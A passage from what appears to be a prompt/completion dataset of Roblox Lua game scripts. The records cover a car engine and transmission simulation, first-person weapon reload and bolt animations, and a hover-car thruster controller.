fgc_h=_Tune.Horsepower/100\n\tlocal fgc_n=_Tune.PeakRPM/1000\n\tlocal fgc_a=_Tune.PeakSharpness\n\tlocal fgc_c=_Tune.CurveMult\n\t\n\tfunction FGC(x)\n\t\tx=x/1000\n\t\treturn (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1))))\n\tend\n\tlocal PeakFGC = FGC(_Tune.PeakRPM)\n\t\n\t--Plot Current Horsepower\n\tfunction GetCurve(x,gear)\n\t\tlocal hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0)\n\t\treturn hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling\n\tend\n\t\n\t--Output Cache\n\tlocal CacheTorque = true\n\tlocal HPCache = {}\n\tlocal HPInc = 100\n\t\n\tif CacheTorque then\n\t\tfor gear,ratio in pairs(_Tune.Ratios) do\n\t\t\tlocal hpPlot = {}\n\t\t\tfor rpm = math.floor(_Tune.IdleRPM/HPInc),math.ceil((_Tune.Redline+100)/HPInc) do\n\t\t\t\tlocal tqPlot = {}\n\t\t\t\ttqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*HPInc,gear-2)\n\t\t\t\thp1,tq1 = GetCurve((rpm+1)*HPInc,gear-2)\n\t\t\t\ttqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(HPInc/1000)\n\t\t\t\ttqPlot.TqSlope = (tq1 - tqPlot.Torque)/(HPInc/1000)\n\t\t\t\thpPlot[rpm] = tqPlot\n\t\t\tend\n\t\t\ttable.insert(HPCache,hpPlot)\n\t\tend\n\tend\n\t\n\t--Powertrain\n\t\n\t--Update RPM\n\tfunction RPM()\n\t\t--Neutral Gear\n\t\tif _CGear==0 then _ClutchOn = false end\n\t\n\t\t--Car Is Off\n\t\tlocal revMin = _Tune.IdleRPM\n\t\tif not _IsOn then \n\t\t\trevMin = 0 \n\t\t\t_CGear = 0\n\t\t\t_ClutchOn = false\n\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\tend\n\t\t\n\t\t--Determine RPM\n\t\tlocal maxSpin=0\n\t\tfor i,v in pairs(Drive) do\n\t\t\tif v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end\n\t\tend\n\t\tif _ClutchOn then\n\t\t\tlocal aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)\n\t\t\tlocal clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)\n\t\t\t_RPM = _RPM*clutchP + aRPM*(1-clutchP)\n\t\telse\n\t\t\tif _GThrot-(_Tune.IdleThrottle/100)>0 then\n\t\t\t\tif _RPM>_Tune.Redline then\n\t\t\t\t\t_RPM = _RPM-_Tune.RevBounce*2\n\t\t\t\telse\n\t\t\t\t\t_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t_RPM = math.max(_RPM-_Tune.RevDecay,revMin)\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Rev Limiter\n\t\t_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])\n\t\tif _RPM>_Tune.Redline then \n\t\t\tif _CGear<#_Tune.Ratios-2 then\n\t\t\t\t_RPM = _RPM-_Tune.RevBounce\n\t\t\telse\n\t\t\t\t_RPM = _RPM-_Tune.RevBounce*.5\n\t\t\tend\n\t\tend\n\tend\n\t\n\t--Apply Power\n\tfunction Engine()\n\t\t--Get Torque\n\t\tlocal maxSpin=0\n\t\tfor i,v in pairs(Drive) do\n\t\t\tif v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end\n\t\tend\n\t\tif _ClutchOn then\n\t\t\tif CacheTorque then\n\t\t\t\tlocal cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/HPInc)]\n\t\t\t\t_HP = cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/HPInc))/1000)\n\t\t\t\t_OutTorque = cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/HPInc))/1000)\n\t\t\telse\n\t\t\t\t_HP,_OutTorque = GetCurve(_RPM,_CGear)\n\t\t\t\t\n\t\t\tend\n\t\t\tlocal iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav\n\t\t\tif _CGear==-1 then iComp=-iComp end\n\t\t\t_OutTorque = _OutTorque*math.max(1,(1+iComp))\n\t\telse\n\t\t\t_HP,_OutTorque = 0,0\n\t\tend\n\t\t\n\t\t--Automatic Transmission\n\t\tif _TMode == \"Auto\" and _IsOn then\n\t\t\t_ClutchOn = true\n\t\t\tif _CGear == 0 then _CGear = 1 end\n\t\t\tif _CGear >= 1 then\n\t\t\t\tif _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 20 then\n\t\t\t\t\t_CGear = -1\n\t\t\t\telse\n\t\t\t\t\tif _Tune.AutoShiftMode == \"RPM\" then\n\t\t\t\t\t\tif _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then\n\t\t\t\t\t\t\t_CGear=math.min(_CGear+1,#_Tune.Ratios-2) \n\t\t\t\t\t\telseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then\n\t\t\t\t\t\t\t_CGear=math.max(_CGear-1,1)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tif car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then\n\t\t\t\t\t\t\t_CGear=math.min(_CGear+1,#_Tune.Ratios-2)\n\t\t\t\t\t\telseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then\n\t\t\t\t\t\t\t_CGear=math.max(_CGear-1,1)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 20 then\n\t\t\t\t\t_CGear = 1\n\t\t\t\tend\n\t\t\tend\n\t\tend \n\t\t\n\t\t--Average Rotational Speed Calculation\n\t\tlocal fwspeed=0\n\t\tlocal fwcount=0\n\t\tlocal rwspeed=0\n\t\tlocal rwcount=0\n\t\t\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name == \"F\" then\n\t\t\t\tfwspeed=fwspeed+v.RotVelocity.Magnitude\n\t\t\t\tfwcount=fwcount+1\n\t\t\telseif v.Name==\"RL\" or v.Name==\"RR\" or v.Name == \"R\" then\n\t\t\t\trwspeed=rwspeed+v.RotVelocity.Magnitude\n\t\t\t\trwcount=rwcount+1\n\t\t\tend\n\t\tend\n\t\tfwspeed=fwspeed/fwcount\n\t\trwspeed=rwspeed/rwcount\t\n\t\tlocal cwspeed=(fwspeed+rwspeed)/2\n\t\t\n\t\t--Update Wheels\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\t--Reference Wheel Orientation\n\t\t\tlocal Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector\n\t\t\tlocal aRef=1\n\t\t\tlocal diffMult=1\n\t\t\tif v.Name==\"FL\" or v.Name==\"RL\" then aRef=-1 end\n\t\t\t\n\t\t\t--AWD Torque Scaling\n\t\t\tif _Tune.Config == \"AWD\" then _OutTorque = _OutTorque*rtTwo end\n\t\t\t\n\t\t\t--Differential/Torque-Vectoring\n\t\t\tif v.Name==\"FL\" or v.Name==\"FR\" then\n\t\t\t\tdiffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))\n\t\t\t\tif _Tune.Config == \"AWD\" then\n\t\t\t\t\tdiffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))\n\t\t\t\tend\n\t\t\telseif v.Name==\"RL\" or v.Name==\"RR\" then\n\t\t\t\tdiffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))\n\t\t\t\tif _Tune.Config == \"AWD\" then\n\t\t\t\t\tdiffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\t_TCSActive = false\n\t\t\t_ABSActive = false\n\t\t\t--Output\n\t\t\tif _PBrake and ((_Tune.Config ~= \"FWD\" and (((v.Name==\"FL\" or v.Name==\"FR\") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name==\"RR\" or v.Name==\"RL\") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == \"FWD\" and (v.Name==\"RR\" or v.Name==\"RL\"))) then\n\t\t\t\t--PBrake\n\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce\n\t\t\t\tv[\"#AV\"].angularvelocity=Vector3.new()\n\t\t\telse\n\t\t\t\t--Apply Power\n\t\t\t\tif ((_TMode == \"Manual\" or _TMode == \"Semi\") and _GBrake==0) or (_TMode == \"Auto\" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then\n\t\t\t\t\tlocal driven = false\n\t\t\t\t\tfor _,a in pairs(Drive) do if a==v then driven = true end end\n\t\t\t\t\tif driven then\n\t\t\t\t\t\tlocal on=1\n\t\t\t\t\t\tif not script.Parent.IsOn.Value then on=0 end\n\t\t\t\t\t\tlocal throt = _GThrot\n\t\t\t\t\t\tif _TMode == \"Auto\" and _CGear==-1 then throt = _GBrake end\n\t\t\t\t\t\t\n\t\t\t\t\t\t--Apply TCS\n\t\t\t\t\t\tlocal tqTCS = 1\n\t\t\t\t\t\tif _TCS then\n\t\t\t\t\t\t\ttqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif tqTCS < 1 then\n\t\t\t\t\t\t\t_TCSActive = true\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\t--Update Forces\n\t\t\t\t\t\tlocal dir = 1\n\t\t\t\t\t\tif _CGear==-1 then dir = -1 end\n\t\t\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on\n\t\t\t\t\t\tv[\"#AV\"].angularvelocity=Ref*aRef*_spLimit*dir\n\t\t\t\t\telse\n\t\t\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new()\n\t\t\t\t\t\tv[\"#AV\"].angularvelocity=Vector3.new()\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t--Brakes\n\t\t\t\telse\n\t\t\t\t\tlocal brake = _GBrake\n\t\t\t\t\tif _TMode == \"Auto\" and _CGear==-1 then brake = _GThrot end\n\t\t\t\t\t\n\t\t\t\t\t--Apply ABS\n\t\t\t\t\tlocal tqABS = 1\n\t\t\t\t\tif _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then\n\t\t\t\t\t\ttqABS = 0\n\t\t\t\t\tend\n\t\t\t\t\tif tqABS < 1 then\n\t\t\t\t\t\t_ABSActive = true\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t--Update Forces\n\t\t\t\t\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then\n\t\t\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS\n\t\t\t\t\telse\n\t\t\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS\n\t\t\t\t\tend\n\t\t\t\t\tv[\"#AV\"].angularvelocity=Vector3.new()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\n"} +{"prompt": "--// Animations", "completion": "\n\t\n\t-- Idle Anim\n\tIdleAnim = function(char, speed, objs)\n\t\tTweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\tTweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\twait(0.18)\t\n\tend;\n\t\n\t-- FireMode Anim\n\tFireModeAnim = function(char, speed, objs)\n\t\tTweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\twait(0.1)\n\t\tTweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\twait(0.25)\n\t\tobjs[4]:WaitForChild(\"Click\"):Play()\t\t\n\tend;\n\t\n\t-- Reload Anim\n\tReloadAnim = function(char, speed, objs)\n\t\tTweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -1.27966166, 0.985866964, -0.167529628, -7.32295247e-09, 0, -4.37113883e-08, 1, -0.167529613, -0.985867023, -4.30936176e-08), function(X) return math.sin(math.rad(X)) end, 0.5)\n\t\tTweenJoint(objs[3], nil , CFrame.new(0.436954767, 0.654289246, -1.82817471, 0.894326091, -0.267454475, 0.358676374, -0.413143814, -0.185948789, 0.891479254, -0.171734676, -0.945458114, -0.276796043), function(X) return math.sin(math.rad(X)) end, 0.5)\n\t\twait(0.5)\t\t\n\t\t\n\t\tlocal MagC = Tool:WaitForChild(\"Mag\"):clone()\n\t\tMagC:FindFirstChild(\"Mag\"):Destroy()\n\t\tMagC.Parent = Tool\n\t\tMagC.Name = \"MagC\"\n\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\tMagCW.Part0 = MagC\n\t\tMagCW.Part1 = workspace.CurrentCamera:WaitForChild(\"Arms\"):WaitForChild(\"Left Arm\")\n\t\tMagCW.Parent = MagC\n\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)\n\t\tobjs[4].Transparency = 1\n\t\t\n\t\tobjs[6]:WaitForChild(\"MagOut\"):Play()\t\t\n\t\t\n\t\tTweenJoint(objs[3], nil , CFrame.new(0.436954767, 0.654289246, -3.00337243, 0.894326091, -0.267454475, 0.358676374, -0.413143814, -0.185948789, 0.891479254, -0.171734676, -0.945458114, -0.276796043), function(X) return math.sin(math.rad(X)) end, 0.3)\n\t\tTweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -1.27966166, 0.985866964, -0.167529628, -7.32295247e-09, 0.0120280236, 0.0707816631, 0.997419298, -0.16709727, -0.983322799, 0.0717963576), function(X) return math.sin(math.rad(X)) end, 0.1)\n\t\twait(0.1)\n\t\tTweenJoint(objs[2], nil , CFrame.new(-1.11434817, 0.317047596, -0.672240019, 0.658346057, -0.747599542, -0.0876094475, 0.0672011375, -0.0575498641, 0.996078312, -0.749709547, -0.661651671, 0.0123518109), function(X) return math.sin(math.rad(X)) end, 0.3)\n\t\twait(0.3)\n\t\tobjs[6]:WaitForChild('MagIn'):Play()\n\t\tTweenJoint(objs[3], nil , CFrame.new(-0.273085892, 0.654289246, -1.48434556, 0.613444746, -0.780330896, 0.121527649, -0.413143814, -0.185948789, 0.891479254, -0.673050761, -0.597081661, -0.43645826), function(X) return math.sin(math.rad(X)) end, 0.3)\n\t\twait(0.4)\n\t\tMagC:Destroy()\n\t\tobjs[4].Transparency = 0\n\tend;\n\n\t-- Bolt Anim\n\t\tBoltBackAnim = function(char, speed, objs)\n\t\t\tlocal newWeld = Utilize.Weld(char:WaitForChild('Left Arm'),Tool:WaitForChild('BoltingArm'))\n\t\t\tnewWeld.Parent = char:WaitForChild('Left Arm')\n\t\t\tnewWeld.Name = 'NewWeld'\n\t\t\tchar:WaitForChild('Right Arm'):WaitForChild('Grip').Part0 = nil\n\t\t\t\n\t\t\tTweenJoint(objs[3], nil , CFrame.new(-1.52445853, 0.388179123, -1.12311268, 0.973574817, -2.72326495e-09, -0.228368327, 0.228368327, 1.16097638e-08, 0.973574817, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.2)\n\t\t\twait(0.2)\n\t\t\tobjs[5]:WaitForChild(\"BoltBack\"):Play()\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(-0.0144310016, -0.0199942607, 0, -4.37113883e-08, -1, 0, 1, -4.37113883e-08, 0, 0, 0, 0.99999994), function(X) return math.sin(math.rad(X)) end, 0.2)\n\t\t\tTweenJoint(objs[3], nil , CFrame.new(-1.37251711, 0.388179123, -0.827557564, 0.973574817, -2.72326495e-09, -0.228368327, 0.228368327, 1.16097638e-08, 0.973574817, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.2)\n\t\t\twait(0.2)\t\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(-0.0144310016, -0.0199942607, 0.57348932, -4.37113883e-08, -1, 0, 1, -4.37113883e-08, 0, 0, 0, 0.99999994), function(X) return math.sin(math.rad(X)) end, 0.2)\n\t\t\tTweenJoint(objs[3], nil , CFrame.new(-1.28267622, 0.0287755914, -0.838171721, 0.973574817, -2.72326495e-09, -0.228368327, 0.228368327, 1.16097638e-08, 0.973574817, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.2)\n\t\t\twait(0.2)\n\t\tend;\n\n\t\tBoltForwardAnim = function(char, speed, objs)\n\t\t\tobjs[5]:WaitForChild(\"BoltForward\"):Play()\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(-0.0144310016, -0.0199942607, -0.0408249125, -4.37113883e-08, -1, 0, 1, -4.37113883e-08, 0, 0, 0, 0.99999994), function(X) return math.sin(math.rad(X)) end, 0.1)\n\t\t\tTweenJoint(objs[3], nil , CFrame.new(-1.37251711, 0.388179123, -0.827557564, 0.973574817, -2.72326495e-09, -0.228368327, 0.228368327, 1.16097638e-08, 0.973574817, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.2)\n\t\t\twait(0.2)\n\t\t\tTweenJoint(objs[3], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.2)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)\t\t\t\n\t\t\twait(0.2)\n\t\t\tchar:WaitForChild('Right Arm'):WaitForChild('Grip').Part0 = char:WaitForChild('Right Arm')\n\t\t\tchar:WaitForChild('Left Arm').NewWeld:Destroy()\n\t\t\twait(0.2)\n\t\tend;\n\t\t\n\t\t-- Bolting Back\n\t\tBoltingBackAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(0, 0, 0.573770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.001)\n\t\tend;\n\t\t\n\t\tBoltingForwardAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.001)\n\t\tend;\n\t\t\n\t\tInspectAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()\n\t\t\twait(1)\n\t\t\tts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()\n\t\t\twait(1)\n\t\t\tts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()\n\t\t\tts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()\n\t\t\twait(1)\n\t\t\tlocal MagC = Tool:WaitForChild(\"Mag\"):clone()\n\t\t\tMagC:FindFirstChild(\"Mag\"):Destroy()\n\t\t\tMagC.Parent = Tool\n\t\t\tMagC.Name = \"MagC\"\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\tMagCW.Part0 = MagC\n\t\t\tMagCW.Part1 = workspace.CurrentCamera:WaitForChild(\"Arms\"):WaitForChild(\"Left Arm\")\n\t\t\tMagCW.Parent = MagC\n\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame)\n\t\t\tTool.Mag.Transparency = 1\n\t\t\tTool:WaitForChild('Grip'):WaitForChild(\"MagOut\"):Play()\n\t\t\t\n\t\t\tts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()\n\t\t\tts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()\n\t\t\twait(0.13)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()\n\t\t\twait(0.20)\t\t\t\n\t\t\tts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play()\n\t\t\twait(0.8)\n\t\t\tts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()\n\t\t\twait(0.5)\n\t\t\tTool:WaitForChild('Grip'):WaitForChild(\"MagIn\"):Play()\n\t\t\tts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()\t\t\t\n\t\t\twait(0.3)\n\t\t\tMagC:Destroy()\n\t\t\tTool.Mag.Transparency = 0\n\t\t\twait(0.1)\n\t\tend;\n\t\t\n\t\tnadeReload = function(char, speed, objs)\n\t\t\tts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play()\n\t\t\tts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play()\n\t\t\twait(0.6)\n\t\t\tts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play()\n\t\t\twait(0.6)\t\t\n\t\tend;\n\t\t\n\t\tAttachAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.18)\t\n\t\tend;\n\t\t\n\t\t-- Patrol Anim\n\t\tPatrolAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.18)\n\t\tend;\n\t\n\t}\n\nreturn Settings\n"} +{"prompt": "--Scripted by DermonDarble", "completion": "\n\nlocal car = script.Parent\nlocal stats = car.Configurations\nlocal Raycast = require(script.RaycastModule)\n\nlocal mass = 0\n\nfor i, v in pairs(car:GetChildren()) do\n\tif v:IsA(\"BasePart\") then\n\t\tmass = mass + (v:GetMass() * 196.2)\n\tend\nend\n\nlocal bodyPosition = Instance.new(\"BodyPosition\", car.Chassis)\nbodyPosition.MaxForce = Vector3.new()\nlocal bodyGyro = Instance.new(\"BodyGyro\", car.Chassis)\nbodyGyro.MaxTorque = Vector3.new()\n\nlocal function UpdateThruster(thruster)\n\t-- Raycasting\n\tlocal hit, position = Raycast.new(thruster.Position, thruster.CFrame:vectorToWorldSpace(Vector3.new(0, -1, 0)) * stats.Height.Value) --game.Workspace:FindPartOnRay(ray, car)\n\tlocal thrusterHeight = (position - thruster.Position).magnitude\n\n\t-- Wheel\n\tlocal wheelWeld = thruster:FindFirstChild(\"WheelWeld\")\n\twheelWeld.C0 = CFrame.new(0, -math.min(thrusterHeight, stats.Height.Value * 0.8) + (wheelWeld.Part1.Size.Y / 2), 0)\n\t-- Wheel turning\n\tlocal offset = car.Chassis.CFrame:inverse() * thruster.CFrame\n\tlocal speed = car.Chassis.CFrame:vectorToObjectSpace(car.Chassis.Velocity)\n\tif offset.Z < 0 then\n\t\tlocal direction = 1\n\t\tif speed.Z > 0 then\n\t\t\tdirection = -1\n\t\tend\n\t\twheelWeld.C0 = wheelWeld.C0 * CFrame.Angles(0, (car.Chassis.RotVelocity.Y / 2) * direction, 0)\n\tend\n\n\t-- Particles\n\tif hit and thruster.Velocity.magnitude >= 5 then\n\t\twheelWeld.Part1.ParticleEmitter.Enabled = true\n\telse\n\t\twheelWeld.Part1.ParticleEmitter.Enabled = false\n\tend\nend\n\ncar.DriveSeat.Changed:connect(function(property)\n\tif property == \"Occupant\" then\n\t\tif car.DriveSeat.Occupant then\n\t\t\tlocal player = game.Players:GetPlayerFromCharacter(car.DriveSeat.Occupant.Parent)\n\t\t\tif player then\n\t\t\t\tcar.DriveSeat:SetNetworkOwner(player)\n\t\t\t\tlocal localCarScript = script.LocalCarScript:Clone()\n\t\t\t\tlocalCarScript.Parent = player.PlayerGui\n\t\t\t\tlocalCarScript.Car.Value = car\n\t\t\t\tlocalCarScript.Disabled = false\n\t\t\tend\n\t\tend\n\tend\nend)\n\nspawn(function()\n\twhile true do\n\t\tgame:GetService(\"RunService\").Stepped:wait()\n\t\tfor i, part in pairs(car:GetChildren()) do\n\t\t\tif part.Name == \"Thruster\" then\n\t\t\t\tUpdateThruster(part)\n\t\t\tend\n\t\tend\n\t\tif car.DriveSeat.Occupant then\n\t\t\tbodyPosition.MaxForce = Vector3.new()\n\t\t\tbodyGyro.MaxTorque = 